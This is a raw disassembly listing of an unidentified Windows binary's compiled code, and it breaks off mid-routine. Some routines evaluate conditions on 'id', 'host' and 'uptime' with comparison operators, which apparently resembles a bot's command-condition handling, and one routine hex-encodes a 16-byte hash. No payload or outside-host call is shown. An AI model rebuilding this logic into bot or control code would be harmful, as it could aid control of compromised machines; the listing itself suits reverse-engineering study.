sub_412BF0 proc near ; CODE XREF: sub_401D20j
push esi
mov esi, ecx
call sub_401FD7
mov eax, [esi+1Ch]
inc eax
mov [esi+1Ch], eax
pop esi
retn
sub_412BF0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412C20 proc near ; CODE XREF: sub_401FD7j
push esi
mov esi, ecx
xor al, al
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC5E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401541
pop esi
retn
sub_412C20 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412C60 proc near ; CODE XREF: sub_40172Bj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_412C60 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412C90 proc near ; CODE XREF: sub_401B68j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401717
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
sub_412C90 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412CE0 proc near ; CODE XREF: sub_401F1Ej
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412CE0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 6
push 9
push 4Fh
push 3
push 9
push 7
push 0Fh
lea eax, [esp+48h+var_24]
push 0Ch
mov esi, ecx
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_412CE0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412D80: ; CODE XREF: ___:loc_40100Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43AC4E
push eax
mov large fs:0, esp
sub esp, 90h
add ecx, 4
push ebp
push esi
mov esi, [esp+0A8h]
lea ebp, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4130A6
push ebx
push edi
push offset asc_444600 ; " "
lea eax, [esp+44h]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+2Ch]
push 2
push ecx
mov ecx, esi
mov dword ptr [esp+0B4h], 0
call sub_4016B8
push offset asc_444600 ; " "
lea edx, [esp+14h]
push 3
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 1
call sub_4016B8
push offset asc_444600 ; " "
lea eax, [esp+74h]
push 0
push eax
mov ecx, esi
mov byte ptr [esp+0B4h], 2
call sub_4016B8
mov edi, eax
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 3
call sub_4013E3
lea ecx, [esp+28h]
mov ebx, eax
call sub_4013E3
lea ecx, [esp+40h]
add ebx, eax
call sub_4013E3
mov ecx, edi
add ebx, eax
call sub_4013E3
lea ecx, [esp+70h]
lea edi, [ebx+eax+4]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+58h]
push edi
push ecx
mov ecx, esi
call sub_401E47
push offset asc_444600 ; " "
lea edx, [esp+8Ch]
push 4
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 4
call sub_4016B8
lea ecx, [esp+70h]
push 1
mov bl, 5
push ecx
mov ecx, eax
mov [esp+0B0h], bl
call sub_401E47
push eax
mov ecx, ebp
mov byte ptr [esp+0ACh], 6
call sub_40202C
lea ecx, [esp+70h]
mov [esp+0A8h], bl
call sub_401226
mov byte ptr [esp+0A8h], 4
lea ecx, [esp+88h]
call sub_401226
lea edx, [esp+58h]
mov ecx, esi
push edx
call sub_40202C
push offset asc_444D14 ; "!="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F05
xor edi, edi
loc_412F05: ; CODE XREF: ___:00412F01j
push offset asc_444D10 ; "=="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F1C
mov edi, 1
loc_412F1C: ; CODE XREF: ___:00412F15j
push offset asc_444D0C ; ">"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F33
mov edi, 2
loc_412F33: ; CODE XREF: ___:00412F2Cj
push offset asc_444D08 ; "<"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412F4A
mov edi, 3
loc_412F4A: ; CODE XREF: ___:00412F43j
push offset aId ; "id"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412FA4
test edi, edi
jnz short loc_412F7A
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset word_44955A
call sub_4012EE
test eax, eax
jz short loc_412FA4
jmp short loc_412F97
; ---------------------------------------------------------------------------
loc_412F7A: ; CODE XREF: ___:00412F5Ej
cmp edi, 1
jnz short loc_412FA4
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset word_44955A
call sub_4012EE
test eax, eax
jnz short loc_412FA4
loc_412F97: ; CODE XREF: ___:00412F78j
push 0
push esi
mov ecx, offset byte_449277
call sub_401A41
loc_412FA4: ; CODE XREF: ___:00412F5Aj
; ___:00412F76j ...
push offset aHost ; "host"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412FF7
test edi, edi
jnz short loc_412FD8
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset byte_4D809D
call sub_4013ED
test eax, eax
jnz loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_412FD8: ; CODE XREF: ___:00412FB8j
cmp edi, 1
jnz short loc_413059
lea ecx, [esp+10h]
call sub_4017EE
push eax
mov ecx, offset byte_4D809D
call sub_4013ED
test eax, eax
jz short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_412FF7: ; CODE XREF: ___:00412FB4j
push offset aUptime ; "uptime"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_413059
lea ecx, [esp+10h]
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ebx, eax
call sub_40165E
test edi, edi
jnz short loc_41302D
cmp eax, ebx
jz short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_41302D: ; CODE XREF: ___:00413025j
cmp edi, 1
jnz short loc_413038
cmp eax, ebx
jnz short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_413038: ; CODE XREF: ___:00413030j
cmp edi, 2
jnz short loc_413043
cmp eax, ebx
jle short loc_413059
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: ___:0041303Bj
cmp edi, 3
jnz short loc_413059
cmp eax, ebx
jge short loc_413059
loc_41304C: ; CODE XREF: ___:00412FD6j
; ___:00412FF5j ...
push 0
push esi
mov ecx, offset byte_449277
call sub_401A41
loc_413059: ; CODE XREF: ___:00412FD0j
; ___:00412FDBj ...
lea ecx, [esp+58h]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 1
call sub_401226
lea ecx, [esp+28h]
mov byte ptr [esp+0A8h], 0
call sub_401226
lea ecx, [esp+40h]
mov dword ptr [esp+0A8h], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebx
jmp short loc_4130A8
; ---------------------------------------------------------------------------
loc_4130A6: ; CODE XREF: ___:00412DB9j
mov al, 1
loc_4130A8: ; CODE XREF: ___:004130A4j
mov ecx, [esp+98h]
pop esi
pop ebp
mov large fs:0, ecx
add esp, 9Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4131B0 proc near ; CODE XREF: sub_40165Ej
nop
call near ptr 27F0C4Bh
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
mov eax, edx
add eax, ecx
sar eax, 10h
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_4131B0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4131F0 proc near ; CODE XREF: sub_402018j
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4131F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov [esp+20h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+20h+var_4], 0
call sub_401753
lea edi, [esi+60h]
lea eax, [esp+20h+var_12]
push eax
mov ecx, edi
mov byte ptr [esp+24h+var_4], 1
call sub_401F23
sub_4131F0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Fh]
lea ebx, [esi+6Ch]
push ecx
mov ecx, ebx
mov byte ptr [esp+20h], 2
call sub_401852
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+1Ch], 3
mov dword ptr [esi], offset off_43F044
call sub_401933
mov ecx, ebx
call sub_401C76
mov ecx, [esp+14h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132C0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j
push esi
mov esi, ecx
call sub_401CA3
sub_4132C0 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_4132D8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4132D8: ; CODE XREF: ___:004132CDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132F0 proc near ; CODE XREF: sub_401CA3j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4132F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
mov dword ptr [esi], offset off_43F044
lea edi, [esi+60h]
mov [esp+1Ch+var_4], 3
mov ecx, edi
call sub_401933
lea ebx, [esi+6Ch]
mov ecx, ebx
call sub_401C76
mov ecx, ebx
mov byte ptr [esp+1Ch+var_4], 2
call sub_4014BF
sub_4132F0 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 1
call sub_4011B8
; ---------------------------------------------------------------------------
lea ecx, [esi+32h]
mov byte ptr [esp+18h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+10h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4133B0 proc near ; CODE XREF: sub_401A05j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4133B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 15h
push 0Fh
push 7
push 0Fh
lea eax, [esp+58h+var_3C]
push 0Ch
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+32h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_4133B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
lea edx, [esp+28h]
push 13h
push edx
call sub_4019C4
add esp, 14h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4134A0 proc near ; CODE XREF: sub_401CE4j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4134A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0
call sub_4017EE
test eax, eax
jz short loc_413547
lea ecx, [esp+18h+var_14]
call sub_402275
add esi, 6Ch
lea eax, [esp+18h+var_10]
push eax
mov ecx, esi
call sub_401901
mov ecx, [eax]
lea edx, [esp+18h+var_10]
mov [esp+18h+var_14], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jz short loc_413547
loc_413508: ; CODE XREF: sub_4134A0+A5j
lea eax, [esp+18h+arg_0]
lea ecx, [esp+18h+var_14]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B86
test eax, eax
lea ecx, [esp+18h+var_14]
jz short loc_41356C
call sub_40118B
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jnz short loc_413508
loc_413547: ; CODE XREF: sub_4134A0+2Ej
; sub_4134A0+66j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 18h
; ---------------------------------------------------------------------------
loc_41356C: ; CODE XREF: sub_4134A0+86j
call sub_40135C
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 18h
sub_4134A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4135E0 proc near ; CODE XREF: sub_402130j
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4135E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0
call sub_4017EE
test eax, eax
jz loc_4136B3
lea ecx, [esp+28h+var_18]
call sub_401037
lea ebp, [ebx+60h]
lea eax, [esp+28h+var_14]
push eax
mov ecx, ebp
call sub_401992
mov ecx, [eax]
lea edx, [esp+28h+var_14]
mov [esp+28h+var_18], ecx
push edx
mov ecx, ebp
call sub_402257
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AEB
test al, al
jz short loc_4136B3
loc_41364F: ; CODE XREF: sub_4135E0+D1j
lea ecx, [esp+28h+var_18]
call sub_4011D1
mov edi, [eax]
sub esp, 18h
lea eax, [esp+40h+arg_0]
mov ecx, esp
mov [esp+40h+var_10], esp
push eax
call sub_4014D3
mov ecx, ebx
call sub_401CE4
mov esi, eax
test esi, esi
jz short loc_41367C
mov edi, [esi]
loc_41367C: ; CODE XREF: sub_4135E0+98j
lea ecx, [esp+28h+arg_0]
push ecx
mov ecx, edi
call sub_401B86
test eax, eax
jz short loc_4136DB
test esi, esi
jnz short loc_4136DB
lea ecx, [esp+28h+var_18]
call sub_4018C5
lea edx, [esp+28h+var_14]
mov ecx, ebp
push edx
call sub_402257
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AEB
test al, al
jnz short loc_41364F
loc_4136B3: ; CODE XREF: sub_4135E0+31j
; sub_4135E0+6Dj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
loc_4136C6: ; CODE XREF: sub_4135E0+10Ej
mov ecx, [esp+28h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_4136DB: ; CODE XREF: sub_4135E0+AAj
; sub_4135E0+AEj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, edi
jmp short loc_4136C6
sub_4135E0 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413740 proc near ; CODE XREF: sub_401F64j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413740
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
lea ecx, [esp+14h+arg_0]
mov [esp+14h+var_4], 1
call sub_4017EE
test eax, eax
jz short loc_4137E4
lea ecx, [esp+14h+var_14]
call sub_401E38
lea eax, [esp+14h+var_10]
lea ecx, [esp+14h+arg_18]
push eax
call sub_4012E9
mov ecx, [eax]
lea edx, [esp+14h+var_10]
mov [esp+14h+var_14], ecx
push edx
lea ecx, [esp+18h+arg_18]
call sub_401D9D
push eax
lea ecx, [esp+18h+var_14]
call sub_401D70
test al, al
jz short loc_4137E4
loc_4137A6: ; CODE XREF: sub_413740+A2j
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_14]
push eax
call sub_401FC3
mov ecx, [eax]
call sub_401B86
test eax, eax
jz short loc_413816
lea ecx, [esp+14h+var_14]
call sub_4020C2
lea ecx, [esp+14h+var_10]
push ecx
lea ecx, [esp+18h+arg_18]
call sub_401D9D
push eax
lea ecx, [esp+18h+var_14]
call sub_401D70
test al, al
jnz short loc_4137A6
loc_4137E4: ; CODE XREF: sub_413740+2Bj
; sub_413740+64j
lea ecx, [esp+14h+arg_0]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esp+14h+arg_18]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401582
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
loc_413816: ; CODE XREF: sub_413740+7Dj
push esi
lea ecx, [esp+18h+var_14]
call sub_401FC3
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401582
sub_413740 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4138B0 proc near ; CODE XREF: sub_4011DBj
var_A4 = byte ptr -0A4h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_64 = byte ptr -64h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4138B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 98h
push esi
xor esi, esi
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], esi
call sub_4017EE
test eax, eax
jz loc_4139E3
lea eax, [esp+0A8h+var_64]
push eax
call sub_401A69
add esp, 4
lea ecx, [esp+0A8h+var_A4]
call sub_40142E
push offset byte_448F30
lea ecx, [esp+0ACh+var_A4]
mov byte ptr [esp+0ACh+var_4], 1
call sub_4015E1
lea ecx, [esp+0A8h+arg_0]
call sub_4013E3
push eax
lea ecx, [esp+0ACh+arg_0]
call sub_4014DD
lea ecx, [esp+0ACh+var_64]
push eax
push ecx
call sub_401C26
lea edx, [esp+0B4h+var_64]
lea eax, [esp+0B4h+var_74]
push edx
push eax
call sub_402176
add esp, 14h
loc_41394B: ; CODE XREF: sub_4138B0+E8j
lea ecx, [esp+0A8h+var_8C]
call sub_40142E
xor ecx, ecx
lea edx, [esp+0A8h+var_8C]
mov cl, [esp+esi+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 2
push ecx
push offset a2_2x ; "%2.2X"
push edx
call sub_40102D
add esp, 0Ch
lea eax, [esp+0A8h+var_8C]
lea ecx, [esp+0A8h+var_A4]
push eax
call sub_4016C7
lea ecx, [esp+0A8h+var_8C]
mov byte ptr [esp+0A8h+var_4], 1
call sub_401226
inc esi
cmp esi, 10h
jl short loc_41394B
mov edx, [esp+0A8h+arg_18]
lea ecx, [esp+0A8h+var_A4]
push ecx
lea ecx, [edx+15h]
call sub_401B86
test eax, eax
mov byte ptr [esp+0A8h+var_4], 0
lea ecx, [esp+0A8h+var_A4]
jnz short loc_4139DE
call sub_401226
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_4139FC
; ---------------------------------------------------------------------------
loc_4139DE: ; CODE XREF: sub_4138B0+10Cj
call sub_401226
loc_4139E3: ; CODE XREF: sub_4138B0+33j
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_4139FC: ; CODE XREF: sub_4138B0+12Cj
mov ecx, [esp+0A8h+var_C]
pop esi
mov large fs:0, ecx
add esp, 0A4h
retn 1Ch
sub_4138B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413A80 proc near ; CODE XREF: sub_40192Ej
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413A80
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
sub esp, 18h
lea eax, [esp+30h+arg_18]
mov ecx, esp
mov [esp+30h+var_14], esp
push eax
mov [esp+34h+var_4], 1
call sub_4014D3
mov ecx, esi
call sub_402130
test eax, eax
jz short loc_413B2E
sub esp, 0Ch
add eax, 54h
mov ecx, esp
mov [esp+24h+var_14], esp
push eax
call sub_401726
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+40h]
mov ecx, esp
mov [esp+40h+var_14], esp
push edx
mov [esp+44h+var_8], 2
call sub_4014D3
mov ecx, esi
mov [esp+40h+var_8], 1
call sub_401F64
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_413B2E
lea ecx, [esp+40h+var_24]
mov byte ptr [esp+40h+var_2C], 0
call sub_401226
lea ecx, [esp+40h+var_C]
mov [esp+40h+var_2C], 0FFFFFFFFh
call sub_401226
mov al, 1
mov ecx, [esp+40h+var_34]
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
; ---------------------------------------------------------------------------
loc_413B2E: ; CODE XREF: sub_413A80+3Fj
; sub_413A80+79j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
sub_413A80 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413BB0: ; CODE XREF: ___:00401393j
push 0FFFFFFFFh
push offset loc_43AE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40192E
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413C40 proc near ; CODE XREF: sub_401181j
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
push 0FFFFFFFFh
push offset SEH_413C40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
mov ebp, [esp+48h+arg_18]
xor ebx, ebx
cmp ebp, ebx
mov [esp+48h+var_4], ebx
jz loc_413D89
lea ecx, [esp+48h+arg_0]
call sub_4017EE
test eax, eax
jz loc_413D89
push esi
push edi
push offset asc_444C64 ; ":"
lea eax, [esp+54h+var_3C]
push ebx
push eax
lea ecx, [esp+5Ch+arg_0]
xor esi, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jz loc_413D63
add ebp, 54h
loc_413CC0: ; CODE XREF: sub_413C40+11Dj
push 15h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov dword ptr [esp+4Ch+var_3C], eax
cmp eax, ebx
mov byte ptr [esp+4Ch], 2
jz short loc_413CE0
mov ecx, eax
call sub_401F4B
jmp short loc_413CE2
; ---------------------------------------------------------------------------
loc_413CE0: ; CODE XREF: sub_413C40+95j
xor eax, eax
loc_413CE2: ; CODE XREF: sub_413C40+9Ej
push offset asc_444C64 ; ":"
lea ecx, [esp+50h+var_20]
push esi
push ecx
lea ecx, [esp+58h+arg_4]
mov [esp+58h], bl
mov [esp+58h+arg_1C], eax
call sub_4016B8
mov ecx, [esp+4Ch+arg_1C]
push eax
mov byte ptr [esp+50h], 3
call sub_40202C
lea ecx, [esp+4Ch+var_20]
mov [esp+4Ch], bl
call sub_401226
lea edx, [esp+4Ch+arg_1C]
mov ecx, ebp
push edx
call sub_401488
; ---------------------------------------------------------------------------
inc esi
push offset asc_444C64 ; ":"
lea eax, [esp+54h+var_3C]
push esi
push eax
lea ecx, [esp+5Ch+arg_0]
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jnz loc_413CC0
loc_413D63: ; CODE XREF: sub_413C40+77j
lea ecx, [esp+50h+arg_0]
mov [esp+50h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn 1Ch
; ---------------------------------------------------------------------------
loc_413D89: ; CODE XREF: sub_413C40+26j
; sub_413C40+37j
lea ecx, [esp+48h+arg_0]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+48h+var_C]
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 1Ch
sub_413C40 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E10 proc near ; CODE XREF: sub_401F4Bj
push esi
mov esi, ecx
call sub_40142E
mov eax, esi
pop esi
retn
sub_413E10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413E30: ; CODE XREF: ___:004010F0j
mov eax, [esp+8]
mov edx, [esp+4]
push esi
push eax
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push edx
call sub_401870
mov ecx, esi
call sub_401181
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413E70 proc near ; CODE XREF: sub_4018ACj
